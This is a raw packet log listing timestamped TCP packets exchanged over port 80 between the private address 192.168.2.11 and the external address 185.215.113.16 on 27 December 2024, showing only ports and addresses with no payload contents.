Dec 27, 2024 09:02:43.224113941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.224121094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224131107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224138021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224143982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.224163055 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.224169016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.224839926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224853039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224888086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.224956036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224973917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224982977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.224993944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225004911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225013018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.225014925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225019932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225028992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225038052 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.225039005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225047112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.225050926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225058079 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.225060940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225073099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225081921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225087881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.225115061 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.225756884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225774050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225784063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225795031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.225815058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.225831032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.226007938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226022005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226032019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226042986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226053953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226056099 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.226064920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226069927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226074934 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.226099014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226104975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226133108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.226147890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.226980925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.226994038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227094889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227108002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227118969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227129936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227140903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227144957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.227150917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227161884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227173090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227184057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227170944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.227193117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.227196932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227207899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.227226973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.227257013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.227978945 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228090048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228104115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228116035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228128910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228137970 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228137970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228151083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228162050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228168011 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228173971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228185892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228198051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228207111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228213072 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228219032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228230000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228240967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228251934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228265047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228267908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228277922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228288889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228305101 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.228931904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228948116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228964090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.228979111 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.229006052 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.229142904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229160070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229182005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229197025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229197025 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.229223013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229235888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229243994 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.229262114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229274035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229285002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229295015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229307890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229310036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.229320049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229331017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229341030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.229343891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229351044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.229355097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.229391098 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.230036020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230051041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230071068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230087042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230098009 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.230098963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230112076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230134010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.230142117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.230195999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230211020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230221987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230236053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230248928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230252981 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.230262041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230273962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230283976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230293036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.230294943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230307102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.230313063 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.230339050 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.231028080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231041908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231054068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231065035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231097937 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.231192112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231205940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231216908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231230021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231240988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231245995 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.231252909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231264114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231275082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.231276035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231287956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231298923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231309891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231311083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.231327057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.231338978 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.231353998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.231992960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232007027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232018948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232043982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.232074976 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.232147932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232211113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232224941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232232094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232239962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232278109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.232368946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232386112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232397079 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232409000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232419014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232424974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.232431889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232443094 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.232443094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232455015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232460976 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.232466936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232479095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.232482910 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.232511997 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.233182907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233197927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233206987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233218908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233242989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.233247042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233262062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233264923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.233272076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233283997 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.233285904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233298063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.233309984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.233338118 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.233351946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.241271973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.242738962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.293616056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.294061899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.296870947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.296924114 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.343199968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.343384981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.343439102 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.343697071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.343884945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.343925953 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.344733000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.344746113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.344790936 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.345803976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.345959902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.346005917 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.346443892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.346461058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.346501112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.346513033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.346674919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.346710920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.347589970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.347845078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.347892046 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.348726034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.348885059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.348954916 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.349956989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.349968910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.350013018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.351105928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.351346970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.351386070 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.352277040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.352400064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.352440119 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.353303909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.353431940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.353471041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.354269981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.354373932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.354650021 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.355184078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.355268955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.355323076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.356137037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.356206894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.356268883 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.356897116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.357064009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.357103109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.357817888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.357932091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.358031988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.358659983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.358831882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.358899117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.359510899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.359606981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.359647036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.360383034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.360647917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.360692978 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.361298084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.361435890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.361707926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.362180948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.362289906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.362322092 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.363032103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.363121033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.363255978 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.363864899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.364042044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.364079952 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.364783049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.364860058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.364995003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.365605116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.365714073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.365974903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.366477013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.366635084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.366677046 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.367337942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.367518902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.367563963 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.368237019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.368376017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.368484020 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.369117022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.369214058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.369570017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.369959116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.370095015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.370137930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.370826006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.370984077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.371021986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.371740103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.371880054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.372098923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.372642040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.372735023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.372826099 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.373642921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.373657942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.373711109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.374093056 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.374315977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.374428034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.374469042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.375266075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.375360012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.375403881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.376056910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.376219988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.376246929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.376297951 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.376941919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.377079010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.377121925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.377803087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.377994061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.378067970 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.378679991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.378787994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.378825903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.379578114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.379667997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.379710913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.380446911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.380625010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.380695105 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.381306887 CET	80	49768	185.215.113.16	192.168.2.11
